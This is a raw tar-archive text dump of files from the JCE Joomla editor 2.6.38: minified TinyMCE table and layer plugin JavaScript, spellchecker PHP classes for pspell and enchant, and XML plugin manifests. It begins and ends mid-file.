teTable()}},function(func,name){ed.addCommand(name,function(){var grid=createTableGrid();grid&&(func(grid),ed.execCommand("mceRepaint"),cleanup())})}),each({mceInsertTable:function(val){winMan.open({url:url,width:640+parseInt(ed.getLang("table.table_delta_width",0)),height:360+parseInt(ed.getLang("table.table_delta_height",0)),inline:1},{plugin_url:url,action:val?val.action:0,layout:"table"})},mceTableRowProps:function(){winMan.open({url:url+"&layout=row",width:640+parseInt(ed.getLang("table.rowprops_delta_width",0)),height:360+parseInt(ed.getLang("table.rowprops_delta_height",0)),inline:1},{plugin_url:url,layout:"row"})},mceTableCellProps:function(){winMan.open({url:url+"&layout=cell",width:640+parseInt(ed.getLang("table.cellprops_delta_width",0)),height:360+parseInt(ed.getLang("table.cellprops_delta_height",0)),inline:1},{plugin_url:url,layout:"cell"})}},function(func,name){ed.addCommand(name,function(ui,val){func(val)})}),ed.settings.table_tab_navigation!==!1&&ed.onKeyDown.add(function(ed,e){var cellElm,grid,delta;9==e.keyCode&&(cellElm=ed.dom.getParent(ed.selection.getStart(),"th,td"),cellElm&&(e.preventDefault(),grid=createTableGrid(),delta=e.shiftKey?-1:1,ed.undoManager.add(),!grid.moveRelIdx(cellElm,delta)&&delta>0&&(grid.insertRow(),grid.refresh(),grid.moveRelIdx(cellElm,delta))))})},createControl:function(n,cm){function createMenuGrid(cols,rows){var html='<table role="presentation" class="mceTableSplitMenu"><tbody>';for(i=0;i<rows;i++){for(html+="<tr>",x=0;x<cols;x++)html+='<td><a href="#"></a></td>';html+="</tr>"}return html+="</tbody>",html+='<tfoot><tr><td colspan="'+rows+'" class="mceTableGridCount">&nbsp;</td></tr></tfoot>',html+="</table>"}function menuGridMouseOver(e){var el=e.target;"TD"!==el.nodeName&&(el=el.parentNode);var tbody=DOM.getParent(el,"tbody");if(tbody){var i,z,rows=tbody.childNodes,row=el.parentNode,x=tinymce.inArray(row.childNodes,el),y=tinymce.inArray(rows,row);if(!(x<0||y<0)){for(i=0;i<rows.length;i++)for(cells=rows[i].childNodes,z=0;z<cells.length;z++)z>x||i>y?DOM.removeClass(cells[z],"selected"):DOM.addClass(cells[z],"selected");DOM.setHTML(DOM.select("td.mceTableGridCount",n),y+1+" x "+(x+1))}}}function menuGridClick(e){var el=e.target,bookmark=0;"TD"!==el.nodeName&&(el=el.parentNode);var table=DOM.getParent(el,"table"),styles=[],width=ed.getParam("table_default_width");/^[0-9\.]+$/.test(width)&&(width+="px"),width&&styles.push("width:"+width);var height=ed.getParam("table_default_height");/^[0-9\.]+$/.test(height)&&(height+="px"),height&&styles.push("height:"+height);var border=ed.getParam("table_default_border","");"html5"==ed.settings.schema&&ed.settings.validate&&border&&(border=1);var html="<table";""!=border&&(html+=' border="'+border+'"');var align=ed.getParam("table_default_align",""),classes=ed.getParam("table_classes","");""!=align&&"html4"===ed.settings.schema&&(html+=' align="'+align+'"'),""!=align&&"html4"!==ed.settings.schema&&("center"===align?(styles.push("margin-left: auto"),styles.push("margin-right: auto")):styles.push("float: "+align)),classes&&(html+=' class="'+classes+'"'),styles.length&&(html+=' style="'+styles.join(";")+';"'),html+=">";for(var rows=tinymce.grep(DOM.select("tr",table),function(row){return DOM.select("td.selected",row).length}),y=0;y<rows.length;y++){html+="<tr>";for(var cols=DOM.select("td.selected",rows[y]).length,x=0;x<cols;x++)html+=tinymce.isIE?"<td></td>":'<td><br data-mce-bogus="1"/></td>';html+="</tr>"}return html+="</table>",bookmark&&(ed.selection.moveToBookmark(bookmark),ed.focus(),bookmark=0),ed.execCommand("mceInsertContent",!1,html),Event.cancel(e)}var t=this,ed=t.editor;if("table_insert"===n){var c=cm.createSplitButton("table_insert",{title:"table.desc",cmd:"mceInsertTable",class:"mce_table"});return c.onRenderMenu.add(function(c,m){
var sb,tm,sm;ed.getParam("table_buttons",1)?sb=m.add({onmouseover:menuGridMouseOver,onclick:menuGridClick,html:createMenuGrid(8,8)}):(tm=m.addMenu({title:"table.desc",icon:"table",cmd:"mceInsertTable"}),sb=tm.add({onmouseover:menuGridMouseOver,onclick:menuGridClick,html:createMenuGrid(8,8)})),m.onShowMenu.add(function(){(n=DOM.get(sb.id))&&(DOM.removeClass(DOM.select(".mceTableSplitMenu td",n),"selected"),DOM.setHTML(DOM.select(".mceTableSplitMenu .mceTableGridCount",n),"&nbsp;"));var n,se=ed.selection,el=se.getNode(),p=DOM.getParent(el,"table");tinymce.walk(m,function(o){return o!==sb&&o!==tm&&void(o.settings.cmd&&o.setDisabled(!p))},"items",m)}),ed.getParam("table_buttons",1)||(m.add({title:"table.del",icon:"delete_table",cmd:"mceTableDelete"}),m.addSeparator(),sm=m.addMenu({title:"table.cell"}),sm.add({title:"table.cell_desc",icon:"cell_props",cmd:"mceTableCellProps"}),sm.add({title:"table.split_cells_desc",icon:"split_cells",cmd:"mceTableSplitCells"}),sm.add({title:"table.merge_cells_desc",icon:"merge_cells",cmd:"mceTableMergeCells"}),sm=m.addMenu({title:"table.row"}),sm.add({title:"table.row_desc",icon:"row_props",cmd:"mceTableRowProps"}),sm.add({title:"table.row_before_desc",icon:"row_before",cmd:"mceTableInsertRowBefore"}),sm.add({title:"table.row_after_desc",icon:"row_after",cmd:"mceTableInsertRowAfter"}),sm.add({title:"table.delete_row_desc",icon:"delete_row",cmd:"mceTableDeleteRow"}),sm.addSeparator(),sm.add({title:"table.cut_row_desc",icon:"cut",cmd:"mceTableCutRow"}),sm.add({title:"table.copy_row_desc",icon:"copy",cmd:"mceTableCopyRow"}),sm.add({title:"table.paste_row_before_desc",icon:"paste",cmd:"mceTablePasteRowBefore"}),sm.add({title:"table.paste_row_after_desc",icon:"paste",cmd:"mceTablePasteRowAfter"}),sm=m.addMenu({title:"table.col"}),sm.add({title:"table.col_before_desc",icon:"col_before",cmd:"mceTableInsertColBefore"}),sm.add({title:"table.col_after_desc",icon:"col_after",cmd:"mceTableInsertColAfter"}),sm.add({title:"table.delete_col_desc",icon:"delete_col",cmd:"mceTableDeleteCol"}))}),c}return null}}),tinymce.PluginManager.add("table",tinymce.plugins.TablePlugin)}(tinymce);editor/tiny_mce/plugins/layer/index.html000060400000000054150750527150014435 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/layer/layer.xml000060400000001273150750527150014302 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="layer" core="1" editable="0">
	<name>WF_LAYER_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_LAYER_DESC</description>
	<icon>insertlayer,moveforward,movebackward,absolute</icon>
	<params></params>
	<help>
		<topic key="layer.about" title="WF_LAYER_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/layer/editor_plugin.js000060400000010577150750527150015655 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function findParentLayer(node){do if(node.className&&node.className.indexOf("mce-item-layer")!=-1)return node;while(node=node.parentNode)}tinymce.create("tinymce.plugins.Layer",{init:function(ed,url){var t=this;t.editor=ed,ed.addCommand("mceInsertLayer",t._insertLayer,t),ed.addCommand("mceMoveForward",function(){t._move(1)}),ed.addCommand("mceMoveBackward",function(){t._move(-1)}),ed.addCommand("mceMakeAbsolute",function(){t._toggleAbsolute()}),ed.addButton("moveforward",{title:"layer.forward_desc",cmd:"mceMoveForward"}),ed.addButton("movebackward",{title:"layer.backward_desc",cmd:"mceMoveBackward"}),ed.addButton("absolute",{title:"layer.absolute_desc",cmd:"mceMakeAbsolute"}),ed.addButton("insertlayer",{title:"layer.insertlayer_desc",cmd:"mceInsertLayer"}),ed.onInit.add(function(){ed.dom;tinymce.isIE&&ed.getDoc().execCommand("2D-Position",!1,!0)}),ed.onMouseUp.add(function(ed,e){var layer=findParentLayer(e.target);layer&&ed.dom.setAttrib(layer,"data-mce-style","")}),ed.onMouseDown.add(function(ed,e){var parent,node=e.target,doc=ed.getDoc();tinymce.isGecko&&(findParentLayer(node)?"on"!==doc.designMode&&(doc.designMode="on",node=doc.body,parent=node.parentNode,parent.removeChild(node),parent.appendChild(node)):"on"==doc.designMode&&(doc.designMode="off"))}),ed.onNodeChange.add(t._nodeChange,t),ed.onVisualAid.add(t._visualAid,t)},getInfo:function(){return{longname:"Layer",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(ed,cm,n){var le,p;le=this._getParentLayer(n),p=ed.dom.getParent(n,"DIV,P,IMG"),p?(cm.setDisabled("absolute",0),cm.setDisabled("moveforward",!le),cm.setDisabled("movebackward",!le),cm.setActive("absolute",le&&"absolute"==le.style.position.toLowerCase())):(cm.setDisabled("absolute",1),cm.setDisabled("moveforward",1),cm.setDisabled("movebackward",1))},_visualAid:function(ed,e,s){var dom=ed.dom;tinymce.each(dom.select("div,p",e),function(e){/^(absolute|relative|fixed)$/i.test(e.style.position)&&(s?dom.addClass(e,"mce-item-visualaid"):dom.removeClass(e,"mce-item-visualaid"),dom.addClass(e,"mce-item-layer"))})},_move:function(d){var i,nl,ed=this.editor,z=[],le=this._getParentLayer(ed.selection.getNode()),ci=-1,fi=-1;for(nl=[],tinymce.walk(ed.getBody(),function(n){1==n.nodeType&&/^(absolute|relative|static)$/i.test(n.style.position)&&nl.push(n)},"childNodes"),i=0;i<nl.length;i++)z[i]=nl[i].style.zIndex?parseInt(nl[i].style.zIndex):0,ci<0&&nl[i]==le&&(ci=i);if(d<0){for(i=0;i<z.length;i++)if(z[i]<z[ci]){fi=i;break}fi>-1?(nl[ci].style.zIndex=z[fi],nl[fi].style.zIndex=z[ci]):z[ci]>0&&(nl[ci].style.zIndex=z[ci]-1)}else{for(i=0;i<z.length;i++)if(z[i]>z[ci]){fi=i;break}fi>-1?(nl[ci].style.zIndex=z[fi],nl[fi].style.zIndex=z[ci]):nl[ci].style.zIndex=z[ci]+1}ed.execCommand("mceRepaint")},_getParentLayer:function(n){return this.editor.dom.getParent(n,function(n){return 1==n.nodeType&&/^(absolute|relative|static)$/i.test(n.style.position)})},_insertLayer:function(){var ed=this.editor,dom=ed.dom,p=dom.getPos(dom.getParent(ed.selection.getNode(),"*")),body=ed.getBody(),le=ed.dom.add(body,"div",{style:{position:"absolute",left:p.x,top:p.y>20?p.y:20,width:100,height:100},class:"mce-item-visualaid mce-item-layer"},ed.selection.getContent()||ed.getLang("layer.content"));ed.dom.setAttrib(le,"data-mce-style",""),tinymce.isIE&&dom.setHTML(body,body.innerHTML)},_toggleAbsolute:function(){var ed=this.editor,le=this._getParentLayer(ed.selection.getNode());le||(le=ed.dom.getParent(ed.selection.getNode(),"DIV,P,IMG")),le&&("absolute"==le.style.position.toLowerCase()?(ed.dom.setStyles(le,{position:"",left:"",top:"",width:"",height:""}),ed.dom.removeClass(le,"mce-item-visualaid"),ed.dom.removeClass(le,"mce-item-layer")):(""==le.style.left&&(le.style.left="20px"),""==le.style.top&&(le.style.top="20px"),""==le.style.width&&(le.style.width=le.width?le.width+"px":"100px"),""==le.style.height&&(le.style.height=le.height?le.height+"px":"100px"),le.style.position="absolute",ed.addVisual(ed.getBody())),ed.dom.setAttrib(le,"data-mce-style",""),ed.execCommand("mceRepaint"),ed.nodeChanged())}}),tinymce.PluginManager.add("layer",tinymce.plugins.Layer)}();editor/tiny_mce/plugins/spellchecker/classes/enchantspell.php000060400000004277150750527150020631 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class enchantspell extends SpellChecker
{
    /**
     * Spellchecks an array of words.
     *
     * @param string $lang  Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
     * @param array  $words Array of words to check
     *
     * @return array of misspelled words
     */
    public function &checkWords($lang, $words)
    {
        $r = enchant_broker_init();

        if (enchant_broker_dict_exists($r, $lang)) {
            $d = enchant_broker_request_dict($r, $lang);

            $returnData = array();
            foreach ($words as $key => $value) {
                $correct = enchant_dict_check($d, $value);
                if (!$correct) {
                    $returnData[] = trim($value);
                }
            }

            return $returnData;
            enchant_broker_free_dict($d);
        } else {
            $this->throwError('Language not installed');
        }
        enchant_broker_free($r);
    }

    /**
     * Returns suggestions for a specific word.
     *
     * @param string $lang Selected language code (like en_US or de_DE). Shortcodes like "en" and "de" work with enchant >= 1.4.1
     * @param string $word Specific word to get suggestions for
     *
     * @return array of suggestions for the specified word
     */
    public function &getSuggestions($lang, $word)
    {
        $r = enchant_broker_init();
        $suggs = array();

        if (enchant_broker_dict_exists($r, $lang)) {
            $d = enchant_broker_request_dict($r, $lang);
            $suggs = enchant_dict_suggest($d, $word);

            enchant_broker_free_dict($d);
        } else {
            $this->throwError('Language not installed');
        }
        enchant_broker_free($r);

        return $suggs;
    }
}
editor/tiny_mce/plugins/spellchecker/classes/config.php000060400000003730150750527150017407 0ustar00<?php

/**
 * @copyright    Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license    GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFSpellcheckerPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();
        $engine = $wf->getParam('spellchecker.engine', 'browser', 'browser');

        switch ($engine) {
            default:
            case 'browser':
            case 'googlespell':
                $languages = '';

                $settings['spellchecker_browser_state'] = $wf->getParam('spellchecker.browser_state', 0, 0);

                $engine = 'browser';

                break;

            case 'pspell':
            case 'pspellshell':
                $languages = (array) $wf->getParam('spellchecker.languages', 'English=en', '');

                if ($engine === 'pspellshell') {
                    $engine = 'pspell';
                }

                if (!function_exists('pspell_new')) {
                    $engine = 'browser';
                }

                break;
            case 'enchantspell':
                $languages = (array) $wf->getParam('spellchecker.languages', 'English=en', '');

                if (!function_exists('enchant_broker_init')) {
                    $engine = 'browser';
                }
                break;
        }

        if (!empty($languages)) {
            $settings['spellchecker_languages'] = '+'.implode(',', $languages);
        }

        $settings['spellchecker_engine'] = $engine;

        if ($engine == 'pspell' || $engine == 'enchant') {
            $settings['spellchecker_suggestions'] = $wf->getParam('spellchecker.suggestions', 1, 1);
        }
    }
}
editor/tiny_mce/plugins/spellchecker/classes/index.html000060400000000054150750527150017422 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/spellchecker/classes/pspell.php000060400000004576150750527150017452 0ustar00<?php
/**
 * @author Moxiecode
 * @copyright Copyright (c) 2004-2007, Moxiecode Systems AB, All rights reserved
 */
class pspell extends SpellChecker
{
    /**
     * Spellchecks an array of words.
     *
     * @param {String} $lang  Language code like sv or en
     * @param {Array}  $words Array of words to spellcheck
     *
     * @return {Array} Array of misspelled words
     */
    public function &checkWords($lang, $words)
    {
        $plink = $this->_getPLink($lang);

        $outWords = array();
        foreach ($words as $word) {
            if (!pspell_check($plink, trim($word))) {
                $outWords[] = utf8_encode($word);
            }
        }

        return $outWords;
    }

    /**
     * Returns suggestions of for a specific word.
     *
     * @param {String} $lang Language code like sv or en
     * @param {String} $word Specific word to get suggestions for
     *
     * @return {Array} Array of suggestions for the specified word
     */
    public function &getSuggestions($lang, $word)
    {
        $words = pspell_suggest($this->_getPLink($lang), $word);

        for ($i = 0; $i < count($words); ++$i) {
            $words[$i] = utf8_encode($words[$i]);
        }

        return $words;
    }

    /**
     * Opens a link for pspell.
     */
    public function &_getPLink($lang)
    {
        // Check for native PSpell support
        if (!function_exists('pspell_new')) {
            $this->throwError('PSpell support not found in PHP installation.');
        }

        $pspell_config = pspell_config_create(
            $lang,
            $this->_config['PSpell.spelling'],
            $this->_config['PSpell.jargon'],
            $this->_config['PSpell.encoding']
        );

        pspell_config_personal($pspell_config, $this->_config['PSpell.dictionary']);
        $plink = pspell_new_config($pspell_config);

        if (!$plink) {
            $this->throwError('No PSpell link found opened.');
        }

        return $plink;
    }
    /**
     * Add a word to the PSPell personal dictionary
     * From http://slack5.com/blog/2008/12/tinymce-add-to-dictionary/.
     *
     * @param object $lang
     * @param object $word
     *
     * @return
     */
    public function &addToDictionary($lang, $word)
    {
        $plink = $this->_getPLink($lang);
        pspell_add_to_personal($plink, $word);
        pspell_save_wordlist($plink);

        return true;
    }
}
editor/tiny_mce/plugins/spellchecker/classes/spellchecker.php000060400000011333150750527150020604 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFSpellCheckerPlugin extends WFEditorPlugin
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $engine = $this->getEngine();

        if (!$engine) {
            self::error('No Spellchecker Engine available');
        }

        $request = WFRequest::getInstance();

        // Setup plugin XHR callback functions
        $request->setRequest(array($engine, 'checkWords'));
        $request->setRequest(array($engine, 'getSuggestions'));
        $request->setRequest(array($engine, 'ignoreWord'));
        $request->setRequest(array($engine, 'ignoreWords'));
        $request->setRequest(array($engine, 'learnWord'));

        $this->execute();
    }

    private function getConfig()
    {
        static $config;

        if (empty($config)) {
            $params = $this->getParams();

            $config = array(
                // PSpell settings
                'PSpell.mode' => $params->get('spellchecker.pspell_mode', 'PSPELL_FAST'),
                'PSpell.spelling' => $params->get('spellchecker.pspell_spelling', ''),
                'PSpell.jargon' => $params->get('spellchecker.pspell_jargon', ''),
                'PSpell.encoding' => $params->get('spellchecker.pspell_encoding', ''),
                'PSpell.dictionary' => JPATH_BASE.'/'.$params->get('spellchecker.pspell_dictionary', ''),
            );
        }

        return $config;
    }

    private function getEngine()
    {
        static $instance;

        if (!is_object($instance)) {
            $params = $this->getParams();
            $classname = '';
            $config = array();

            $engine = $params->get('spellchecker.engine', 'browser', 'browser');

            if (($engine === 'pspell' || $engine === 'pspellshell') && function_exists('pspell_new')) {
                $classname = 'PSpell';

                $config = $this->getConfig();
            }

            if ($engine === 'enchantspell' && function_exists('enchant_broker_init')) {
                $classname = 'Enchantspell';
            }

            if (!empty($classname)) {
                $file = dirname(__FILE__).'/'.strtolower($classname).'.php';

                if (is_file($file)) {
                    require_once $file;
                    $instance = new $classname($config);
                }
            }
        }

        return $instance;
    }

    private static function error($str)
    {
        die('{"result":null,"id":null,"error":{"errstr":"'.addslashes($str).'","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
    }
}

/**
 * @author Moxiecode
 * @copyright Copyright (c) 2004-2007, Moxiecode Systems AB, All rights reserved
 */
class SpellChecker
{
    public function __construct()
    {
    }

    /**
     * Constructor.
     *
     * @param $config Configuration name/value array
     */
    public function SpellChecker(&$config)
    {
        $this->_config = $config;
    }

    /**
     * Simple loopback function everything that gets in will be send back.
     *
     * @param $args.. Arguments
     *
     * @return {Array} Array of all input arguments
     */
    protected function &loopback(/* args.. */)
    {
        return func_get_args();
    }

    /**
     * Spellchecks an array of words.
     *
     * @param {String} $lang  Language code like sv or en
     * @param {Array}  $words Array of words to spellcheck
     *
     * @return {Array} Array of misspelled words
     */
    public function &checkWords($lang, $words)
    {
        return $words;
    }

    /**
     * Returns suggestions of for a specific word.
     *
     * @param {String} $lang Language code like sv or en
     * @param {String} $word Specific word to get suggestions for
     *
     * @return {Array} Array of suggestions for the specified word
     */
    public function &getSuggestions($lang, $word)
    {
        return array();
    }

    /**
     * Throws an error message back to the user. This will stop all execution.
     *
     * @param {String} $str Message to send back to user
     */
    protected function throwError($str)
    {
        die('{"result":null,"id":null,"error":{"errstr":"'.addslashes($str).'","errfile":"","errline":null,"errcontext":"","level":"FATAL"}}');
    }
}
editor/tiny_mce/plugins/spellchecker/spellchecker.xml000060400000010323150750527150017156 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="spellchecker" core="1" editable="1">
    <name>WF_SPELLCHECKER_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_SPELLCHECKER_DESC</description>
    <icon>spellchecker</icon>
    <params group="standard">
        <param name="engine" type="list" default="browser" label="WF_SPELLCHECKER_PARAM_ENGINE" description="WF_SPELLCHECKER_PARAM_ENGINE_DESC">
            <option value="browser">WF_SPELLCHECKER_PARAM_BROWSER</option>
            <option value="pspell">WF_SPELLCHECKER_PARAM_PSPELL_PHP</option>
            <option value="enchantspell">WF_SPELLCHECKER_PARAM_ENCHANT</option>
        </param>
        
        <param name="browser_state" type="radio" default="0" label="WF_OPTION_STATE" description="WF_SPELLCHECKER_BROWSER_STATE_DESC" parent="engine[browser]">
                <option value="0">WF_OPTION_OFF</option>
                <option value="1">WF_OPTION_ON</option>
        </param>    
        
        <param name="suggestions" type="radio" default="1" label="WF_SPELLCHECKER_SUGGESTIONS" description="WF_SPELLCHECKER_SUGGESTIONS_DESC">
                <option value="1">WF_OPTION_YES</option>
                <option value="0">WF_OPTION_NO</option>
        </param>

        <!--param name="googlespell_languages" type="list" class="checklist sortable" multiple="multiple" default="English=en" label="WF_SPELLCHECKER_PARAM_LANGUAGES" description="WF_SPELLCHECKER_PARAM_GOOGLESPELL_LANGUAGES_DESC" parent="engine[googlespell]" >
            <option value="English=en">English</option>
            <option value="Danish=da">Danish</option>
            <option value="Dutch=nl">Dutch</option>
            <option value="Finnish=fi">Finnish</option>
            <option value="French=fr">French</option>
            <option value="German=de">German</option>
            <option value="Italian=it">Italian</option>
            <option value="Polish=pl">Polish</option>
            <option value="Portuguese=pt">Portuguese(BR)</option>
            <option value="Spanish=es">Spanish</option>
            <option value="Swedish=sv">Swedish</option>
        </param-->

        <param name="languages" type="text" size="100" default="English=en" label="WF_SPELLCHECKER_PARAM_LANGUAGES" description="WF_SPELLCHECKER_PARAM_LANGUAGES_DESC" parent="engine[pspell,pspellshell,enchantspell]"/>      
        <param name="pspell_mode" type="text" default="PSPELL_FAST" label="WF_SPELLCHECKER_PARAM_PSPELL_MODE" description="WF_SPELLCHECKER_PARAM_PSPELL_MODE_DESC" parent="engine[pspell,pspellshell]" />	
        <param name="pspell_spelling" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_SPELLING" description="WF_SPELLCHECKER_PARAM_PSPELL_SPELLING_DESC" parent="engine[pspell,pspellshell]" />
        <param name="pspell_jargon" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_JARGON" description="WF_SPELLCHECKER_PARAM_PSPELL_JARGON_DESC" parent="engine[pspell,pspellshell]" />
        <param name="pspell_encoding" type="text" default="" label="WF_SPELLCHECKER_PARAM_PSPELL_ENCODING" description="WF_SPELLCHECKER_PARAM_PSPELL_ENCODING_DESC" parent="engine[pspell,pspellshell]" />	
        <param name="pspell_dictionary" type="text" size="100" default="components/com_jce/editor/tiny_mce/plugins/spellchecker/dictionary.pws" label="WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY" description="WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY_DESC" parent="engine[pspell,pspellshell]" />	
        <param name="pspellshell_aspell" type="text" default="/usr/bin/aspell" label="WF_SPELLCHECKER_PARAM_PSPELLSHELL" description="WF_SPELLCHECKER_PARAM_PSPELLSHELL_DESC" parent="engine[pspell,pspellshell]" />
        <param name="pspellshell_tmp" type="text" default="/tmp" label="WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP" description="WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP_DESC" parent="engine[pspell,pspellshell]" />
    </params>
</install>
editor/tiny_mce/plugins/spellchecker/spellchecker.php000060400000001113150750527150017142 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once dirname(__FILE__).'/classes/spellchecker.php';

$spellchecker = new WFSpellcheckerPlugin();
editor/tiny_mce/plugins/spellchecker/editor_plugin.js000060400000020713150750527150017176 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=tinymce.each,DOM=tinymce.DOM;tinymce.create("tinymce.plugins.SpellcheckerPlugin",{getInfo:function(){return{longname:"Spellchecker",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker",version:tinymce.majorVersion+"."+tinymce.minorVersion}},init:function(ed,url){var t=this;if(t.url=url,t.editor=ed,t.rpcUrl=ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=spellchecker",t.native_spellchecker=""==t.rpcUrl||"browser"==ed.getParam("spellchecker_engine","browser"),t.native_spellchecker){if(tinymce.isIE&&/MSIE [56789]/.test(navigator.userAgent)){if(""==t.rpcUrl)return;t.native_spellchecker=!1}t.hasSupport=!0,ed.getParam("spellchecker_suggestions",!0)&&ed.onContextMenu.addToTop(function(ed,e){if(t.active)return!1})}ed.addCommand("mceSpellCheck",function(){if(t.native_spellchecker){var body=ed.getBody();return body.spellcheck=t.active=!t.active,void ed.focus()}t.active?t._done():(ed.setProgressState(1),t._sendRPC("checkWords",[t.selectedLang,t._getWords()],function(r){r.length>0?(t.active=1,t._markWords(r),ed.setProgressState(0),ed.nodeChanged()):(ed.setProgressState(0),ed.getParam("spellchecker_report_no_misspellings",!0)&&ed.windowManager.alert("spellchecker.no_mpell"))}))}),ed.settings.content_css!==!1&&ed.contentCSS.push(url+"/css/content.css"),ed.getParam("spellchecker_suggestions",!0)&&(ed.onClick.add(t._showMenu,t),ed.onContextMenu.add(t._showMenu,t)),ed.onBeforeGetContent.add(function(){t.active&&t._removeWords()}),ed.onNodeChange.add(function(ed,cm){cm.setActive("spellchecker",!!t.active)}),ed.onSetContent.add(function(){t._done()}),ed.onBeforeGetContent.add(function(){t._done()}),ed.onBeforeExecCommand.add(function(ed,cmd){"mceFullScreen"==cmd&&t._done()}),t.languages={},each(ed.getParam("spellchecker_languages","+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv","hash"),function(v,k){0===k.indexOf("+")&&(k=k.substring(1),t.selectedLang=v),t.languages[k]=v}),ed.onInit.add(function(){if(t.native_spellchecker&&ed.getParam("spellchecker_browser_state",0)){var body=ed.getBody();body.spellcheck=t.active=!t.active}})},createControl:function(n,cm){var c,t=this;t.editor;if("spellchecker"==n)return t.native_spellchecker?(t.hasSupport&&(c=cm.createButton(n,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:t})),c):(c=cm.createSplitButton(n,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:t}),c.onRenderMenu.add(function(c,m){m.add({title:"spellchecker.langs",class:"mceMenuItemTitle"}).setDisabled(1),t.menuItems={},each(t.languages,function(v,k){var mi,o={icon:1};o.onclick=function(){v!=t.selectedLang&&(t._updateMenu(mi),t.selectedLang=v)},o.title=k,mi=m.add(o),mi.setSelected(v==t.selectedLang),t.menuItems[v]=mi,v==t.selectedLang&&(t.selectedItem=mi)})}),c)},setLanguage:function(lang){var t=this;if(lang!=t.selectedLang){if(0===tinymce.grep(t.languages,function(v){return v===lang}).length)throw"Unknown language: "+lang;t.selectedLang=lang,t.menuItems&&t._updateMenu(t.menuItems[lang]),t.active&&t._done()}},_updateMenu:function(mi){mi.setSelected(1),this.selectedItem.setSelected(0),this.selectedItem=mi},_walk:function(n,f){var w,d=this.editor.getDoc();if(d.createTreeWalker)for(w=d.createTreeWalker(n,NodeFilter.SHOW_TEXT,null,!1);null!=(n=w.nextNode());)f.call(this,n);else tinymce.walk(n,f,"childNodes")},_getSeparators:function(){var i,re="",str=this.editor.getParam("spellchecker_word_separator_chars",'\\s!"#$%&()*+,-./:;<=>?@[]^_{|}ß©´Æ±∂∑∏ªºΩæø◊˜§”“');for(i=0;i<str.length;i++)re+="\\"+str.charAt(i);return re},_getWords:function(){var ed=this.editor,wl=[],tx="",lo={},rawWords=[];return this._walk(ed.getBody(),function(n){3==n.nodeType&&(tx+=n.nodeValue+" 